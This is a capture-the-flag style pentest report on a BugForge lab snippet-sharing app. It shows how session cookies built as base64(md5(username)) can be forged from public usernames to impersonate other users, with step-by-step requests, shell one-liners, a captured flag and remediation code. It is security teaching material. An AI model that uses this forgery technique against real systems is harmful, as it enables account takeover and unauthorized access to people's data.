CopyPasta: Forgeable Session Tokens Enable Cross-User Impersonation
Part 1: Pentest Report
Executive Summary
CopyPasta is a BugForge code-snippet sharing application built on a React single-page frontend and an Express/Node.js JSON API. Requests are authenticated with a session cookie. Testing found that the session cookie is a deterministic, unsigned transform of the account’s username: session = base64(md5(username)). Because usernames are public, any user’s session can be recomputed offline and presented, yielding full cross-user impersonation including the administrator, from an unauthenticated starting position.
Testing confirmed 3 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Forgeable session tokens: session = base64(md5(username)) |
Critical | 9.8 | CWE-330, CWE-302 | app-wide (issued at POST /api/register) |
| F2 | Broken object-level authorization on profile read | Medium | 6.5 | CWE-639, CWE-284 | GET /api/profile/:username |
| F3 | Username disclosure via public snippet feed | Low | 4.3 | CWE-200 | GET /api/snippets/public |
The flag is delivered in an X-Flag response header on every authenticated response whose session identity belongs to a pre-seeded user (admin, coder123, pythonista, webdev), and not to the attacker’s own registered account. The exploited identity in this solve was pythonista, a regular seeded user rather than the administrator, which reflects the true nature of the flaw: any real user is impersonable, and the enumeration surface that supplies those usernames (F3) sits one request away from the forge.
Objective
Pentest the BugForge CopyPasta lab, map its authentication surface, and exercise any path that grants access across user accounts or captures the engagement flag.
Scope / Initial Access
# Target Application
URL: https://lab-1783704396361-zx866g.labs-app.bugforge.io
# Auth details
Registration: open via POST /api/register {username, email, password, full_name}
Login: POST /api/login
Session cookie: session=<base64 of 32 hex chars>; HttpOnly; SameSite=Lax; Max-Age=86400
Starting privileges: unauthenticated
Registration is open, so the engagement starts from zero credentials and registers a throwaway account (haxor) to observe the session-issuance behavior. The flag value rotates per lab instance; three instances were exercised during the engagement and each returned a fresh flag under the same mechanism.
Reconnaissance: Probing the Session Cookie for a Known Hash
The session cookie’s shape was the primary recon signal. The issued cookie is a base64 wrapper around a fixed-length 32 hex-character payload, which matches md5 output exactly and invites a “what hash of what input” probe as the cheapest next step.
Observations that shaped the test plan:
POST /api/registerreturns aSet-Cookie: session=<base64>whose decoded payload is 32 hex characters. Base64-decoding the issued cookie and comparing it tomd5(<our own username>)matched byte for byte, proving the scheme from a single self-registration.- The scheme has no server secret, salt, or signature. Any user’s session is therefore computable from their username alone.
GET /api/snippets/publicembeds each snippet’s authorusernamein the response, exposing the roster of real accounts (admin,coder123,pythonista,webdev). This is the enumeration surface that turns “forge any user” into a concrete one-request takeover.GET /api/verify-tokenreturns401without a session and echoes the resolved user object with a valid session, providing a clean confirmation channel for a forged cookie.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express / Node.js JSON API (X-Powered-By: Express), Access-Control-Allow-Credentials: true |
| Frontend | React single-page application (Create React App), bundle main.a0e3e308.js |
| Auth | Server-issued session cookie = base64(md5(username)); HttpOnly; SameSite=Lax; Max-Age=86400 |
| Database | Not directly observable from the client; snake_case JSON keys (is_public, share_code, user_id) |
API Surface (relevant subset)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | Issues session=base64(md5(username)) on success (scheme disclosure) |
/api/login |
POST | No | Re-issues the same deterministic session cookie |
/api/verify-token |
GET | Cookie | 401 unauthenticated; echoes the user object and emits X-Flag for a seeded-user session |
/api/snippets |
GET | Cookie | Returns only the caller’s own snippets ([] for a fresh account) |
/api/snippets/public |
GET | Cookie | Public snippet feed; embeds each author’s username (disclosure surface) |
/api/profile/:username |
GET | Cookie | Returns any user’s full profile and snippets (broken object-level authorization) |
/api/profile |
PUT | Cookie | Update full_name/bio/email; no username field, no privilege effect |
/api/profile/password |
PUT | Cookie | Change password; no current-password challenge |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| coder123 | 2 | user |
| pythonista | 3 | user |
| webdev | 4 | user |
| haxor (registered for testing) | 5 | user |
Attack Chain Visualization
┌─────────────────────┐ ┌──────────────────────┐ ┌───────────────────────┐ ┌────────────────────────┐
│ Register haxor; │ │ GET /api/snippets/ │ │ Forge seeded-user │ │ Any authed request → │
│ session cookie │──▶│ public lists author │──▶│ session: │──▶│ X-Flag in response │
│ decodes to │ │ usernames (admin, │ │ base64(md5( │ │ header (identity is a │
│ md5("haxor") │ │ coder123, pythonista)│ │ "pythonista")) │ │ seeded user) │
└─────────────────────┘ └──────────────────────┘ └───────────────────────┘ └────────────────────────┘
Findings
F1: Forgeable session tokens: session = base64(md5(username))
Severity: Critical
CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-330 (Use of Insufficiently Random Values), CWE-302 (Authentication Bypass by Assumed-Immutable Data)
Endpoint: app-wide (issued at POST /api/register, consumed on every authenticated route)
Authentication required: No (a session cookie can be forged for any known username)
Description
The server issues session cookies of the form base64(md5(username)). The cookie is a deterministic, unsigned, unsalted hash of the public username, with no server secret and no signature or message authentication code. Any user’s session is therefore recomputable offline from their username, and the server accepts the forged value as that user’s authenticated session.
The flag is emitted in an X-Flag response header on every authenticated response whose session identity is a pre-seeded user (admin, coder123, pythonista, webdev all trigger it); the attacker’s own self-registered account does not receive it. The flag is not tied to the administrator specifically and not tied to any single endpoint, so impersonating any real user is sufficient to capture it.
Impact
Full account takeover of any user, including the administrator, from an unauthenticated starting position.
Reproduction
Step 1: Register an account and confirm the session scheme
POST /api/register HTTP/1.1
Host: lab-1783704396361-zx866g.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"[email protected]","password":"password","full_name":""}
Response:
HTTP/1.1 200 OK
Set-Cookie: session=NjYzZDA1ZmIwMDJjZTgyMjNjZTQzZjE1YmNjMDU2MmM%3D; HttpOnly; SameSite=Lax; Max-Age=86400
Base64-decoding the cookie yields 663d05fb002ce8223ce43f15bcc0562c, which equals md5("haxor") byte for byte:
printf '%s' haxor | md5sum
# 663d05fb002ce8223ce43f15bcc0562c
The session cookie is base64(md5(username)).
Step 2: Enumerate real usernames from the public snippet feed
GET /api/snippets/public HTTP/1.1
Host: lab-1783704396361-zx866g.labs-app.bugforge.io
Cookie: session=NjYzZDA1ZmIwMDJjZTgyMjNjZTQzZjE1YmNjMDU2MmM%3D
Response (excerpt): objects of the form {..., "username":"coder123", "user_id":2, ...}, disclosing the seeded roster admin, coder123, pythonista, and webdev. These are the identities available to impersonate.
Step 3: Forge a seeded user’s session and present it
Build the forged cookie for pythonista. Wrap the hash with printf (not echo, which appends a newline and breaks exact-match validation):
HEX=$(printf '%s' pythonista | md5sum | cut -d' ' -f1) # 2b9c24fc7333586ed0344c33cf72a7c2
TOKEN=$(printf '%s' "$HEX" | base64) # MmI5YzI0ZmM3MzMzNTg2ZWQwMzQ0YzMzY2Y3MmE3YzI=
GET /api/verify-token HTTP/1.1
Host: lab-1783704396361-zx866g.labs-app.bugforge.io
Cookie: session=MmI5YzI0ZmM3MzMzNTg2ZWQwMzQ0YzMzY2Y3MmE3YzI%3D
Response:
HTTP/1.1 200 OK
X-Flag: bug{RFCo5wRVP0B2JpoIToKFhlkkcs0kINNT}
Content-Type: application/json
{"user":{"id":3,"username":"pythonista","role":"user"}}
The forged cookie is accepted as pythonista’s session and the flag is returned in the X-Flag header. Re-firing the same session against /api/profile/:username, /api/snippets, and /api/profile/admin returned the X-Flag header as well, and forging admin or coder123 returned it identically; only the attacker’s own registered account did not.
Remediation
Fix 1: Replace the deterministic session derivation with random, server-side session identifiers
// BEFORE (Vulnerable; reconstructed, no source available)
function issueSession(username) {
const sessionId = md5(username); // deterministic transform of a public field
return base64(sessionId);
}
function authenticateRequest(cookie) {
const sessionId = base64.decode(cookie);
return User.findOne({ session_md5: sessionId });
}
// AFTER (Secure)
async function issueSession(userId) {
const sessionId = crypto.randomBytes(32).toString('hex'); // opaque, high-entropy
await SessionStore.set(sessionId, {
userId,
issuedAt: Date.now(),
expiresAt: Date.now() + SESSION_TTL_MS,
});
return sessionId;
}
async function authenticateRequest(cookie) {
const session = await SessionStore.get(cookie);
if (!session || session.expiresAt < Date.now()) return null;
return User.findById(session.userId);
}
Additional recommendations:
- Set the session cookie with
Securein addition to the existingHttpOnlyandSameSiteattributes. - Enforce server-side session expiration and revoke active sessions on password change.
- Never derive an authentication credential from a value that is public or user-controlled (username, email, id).
F2: Broken object-level authorization on profile read
Severity: Medium
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-284 (Improper Access Control)
Endpoint: GET /api/profile/:username
Authentication required: Yes (any registered account)
Description
GET /api/profile/:username performs no object-level authorization check. Any authenticated session can read any other user’s full profile object, including their email address and role, along with their snippets. The endpoint resolves the requested profile entirely from the path parameter without confirming that the caller is authorized to view it.
This finding is distinct from F1: it discloses another user’s data using a legitimate low-privilege session and does not by itself emit the flag (the flag is gated on the session identity, per F1, not on reading the admin profile).
Impact
Cross-user data read: any authenticated user can retrieve every other user’s profile details and snippets.
Reproduction
Step 1: Read the administrator’s profile with a low-privilege session
Using the haxor account’s own session (base64(md5("haxor")), user id 5, role user):
GET /api/profile/admin HTTP/1.1
Host: lab-1783704396361-zx866g.labs-app.bugforge.io
Cookie: session=NjYzZDA1ZmIwMDJjZTgyMjNjZTQzZjE1YmNjMDU2MmM%3D
Response:
HTTP/1.1 200 OK
{"id":1,"username":"admin","email":"[email protected]","role":"admin","bio":"...","snippets":[...]}
The low-privilege haxor session read the complete administrator object and snippets. No X-Flag header was returned, confirming the flag is gated on session identity rather than on profile-read access.
Remediation
Fix 1: Enforce that a caller may only read its own profile
// BEFORE (Vulnerable; reconstructed, no source available)
app.get('/api/profile/:username', requireSession, async (req, res) => {
const profile = await User.findOne({ username: req.params.username });
res.json(profile); // no check that the caller owns this profile
});
// AFTER (Secure)
app.get('/api/profile/:username', requireSession, async (req, res) => {
if (req.params.username !== req.session.username) {
return res.status(403).json({ error: 'Forbidden' });
}
const profile = await User.findOne({ username: req.params.username });
res.json(profile);
});
Additional recommendations:
- If a public profile view is intended, return only fields that are safe to expose (display name, public snippets) and never the email or role.
- Apply the same object-level authorization check on every route that takes a user-controlled identifier.
F3: Username disclosure via public snippet feed
Severity: Low
CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Endpoint: GET /api/snippets/public
Authentication required: Not established (scored conservatively as required; see Description)
Description
The public snippet feed embeds each snippet’s author username in the response. On its own the exposure is low, but the username is the exact string used to derive the authentication credential in F1. The feed therefore enumerates the full roster of real accounts and supplies the precise input needed to forge each of their sessions, converting F1 from “forge any user” into a one-step takeover.
The endpoint was observed only through authenticated requests, and whether it enforces authentication was not isolated during testing. The score therefore assumes a session is required (PR:L, 4.3). If the feed is reachable without authentication, the score rises to 5.3 (PR:N).
Impact
Discloses the full list of real usernames, which are the authentication identity strings consumed by the forgeable session scheme.
Reproduction
Step 1: Request the public snippet feed
GET /api/snippets/public HTTP/1.1
Host: lab-1783704396361-zx866g.labs-app.bugforge.io
Cookie: session=NjYzZDA1ZmIwMDJjZTgyMjNjZTQzZjE1YmNjMDU2MmM%3D
Response (excerpt):
[
{"id":1,"title":"top users by public snippet count","username":"admin","user_id":1, "...":"..."},
{"id":2,"title":"...","username":"coder123","user_id":2, "...":"..."},
{"id":3,"title":"...","username":"pythonista","user_id":3, "...":"..."}
]
Every public snippet carries its author’s exact username, exposing the seeded roster.
Remediation
Fix 1: Decouple the public author label from the authentication identity
// BEFORE (Vulnerable; reconstructed, no source available)
res.json(snippets.map(s => ({ ...s, username: s.author.username })));
// AFTER (Secure)
res.json(snippets.map(s => ({ ...s, author: s.author.displayName }))); // display handle, not the auth identity
Additional recommendations:
- With F1 remediated (random session identifiers), disclosing a username is no longer a credential-forgery input; this finding’s severity is contingent on F1 and drops once the session scheme is fixed.
- If author attribution is required, expose a display handle that is decoupled from the value used for authentication.
OWASP Top 10 Coverage
- A07:2021 Identification and Authentication Failures: The session cookie is a deterministic, unsigned transform of a public field (username), so any user’s session is computable offline and presentable as a valid credential.
- A01:2021 Broken Access Control:
GET /api/profile/:usernamereturns any user’s profile without an object-level authorization check, and the flag is delivered to any impersonated seeded identity. - A04:2021 Insecure Design: Deriving a session identifier from a public identifier is a design-level flaw; no amount of input validation makes
md5(username)an acceptable session secret.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercepting proxy; request capture and replay |
| curl | Manual API requests for the forge and reproduction |
coreutils (md5sum, base64) |
Compute the hash candidates and encode the session cookie |
| hashcat / rockyou / SecLists | Offline crack attempt against the token value (ruled out) |
References
- CWE-330: Use of Insufficiently Random Values
- CWE-302: Authentication Bypass by Assumed-Immutable Data
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- OWASP Top 10 2021: A07 Identification and Authentication Failures
- OWASP Session Management Cheat Sheet
Part 2: Notes / Knowledge
Key Learnings
-
When a session token decodes to a hash of a public field, enumerate real usernames and forge them; do not brute-force the hash and do not assume “admin”. Confirm the scheme by decoding your own cookie and matching
hash(<your own username>), then harvest the app’s real principal names from its public surfaces (author listings, public feeds, profile endpoints) and forgebase64(hash(name))for each. The preimage is a published identifier, not a secret, so a dictionary attack against the token value is wasted work, and the privileged or flag-bearing identity is frequently a non-adminseeded user. On this target the winning token wasmd5("pythonista"), disclosed one request away atGET /api/snippets/public; treating the captured token as “admin’s” and cracking it offline burned a long detour that the feed would have closed immediately. -
Characterize the flag or privilege gate across both identities and endpoints before concluding what unlocks it. Once you can forge or switch identity, try several seeded identities rather than only
admin, and re-fire the winning session against multiple endpoints, recording which axis actually gates the privileged output. Here the flag was keyed on session identity and fired on every authenticated response foradmin,coder123, andpythonistaalike, while the attacker’s own account got it nowhere; a single admin-on-one-endpoint test would have mischaracterized both what triggers the flag and how broadly the flaw reaches. -
Build base64 credentials on the CLI with
printf '%s'(orecho -n), never bareecho. When hand-wrapping an exact byte value (session token, Basic-auth pair, signed cookie, hex digest) into base64 from a shell variable,echoappends a newline before encoding, so the decoded credential carries a trailing\nand fails exact-match validation. On an unexpected401/403from a value you believe is correct, suspect a trailing newline first: a stray-newline base64 ends inK(Cg==), a clean one does not. Here two byte-identical-looking cookies differed only in the last base64 characters, and theechovariant returned403 Invalid tokenwhile theprintfvariant returned200plus the flag.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Brute-force the captured token value against rockyou (14.3M) + SecLists usernames (9M) | No match on 2b9c24fc7333586ed0344c33cf72a7c2 |
The preimage was a public username (pythonista), disclosed at GET /api/snippets/public, not a secret to crack |
Assume the captured token was the administrator’s (md5("admin")) |
No match | The token belonged to a non-admin seeded user (pythonista); the flag rewards any seeded identity, not admin specifically |
Present a session cookie built with echo "$hex" \| base64 |
403 {"error":"Invalid token"} |
echo appended a trailing newline before encoding, so the decoded token no longer matched byte for byte |
| Search the JS bundle for a hardcoded token, md5, or secret | None present | The session is generated server-side from the username; nothing is baked into the client |
PUT /api/profile and PUT /api/profile/password for a privilege or identity effect |
Normal profile updates; no new session cookie, no username mutation, no role change | Endpoints resolve the target user from the session and do not accept a username or role field |
GET /api/snippets as a cross-user leak channel |
Returned only the caller’s own snippets ([] for a fresh account) |
The listing is scoped to the caller; the disclosure surface is /api/snippets/public instead |
Tags: #bugforge #webapp #predictable-session #session-forgery #cwe-330 #cwe-302 #impersonation #account-takeover
Document Version: 1.0
Last Updated: 2026-07-13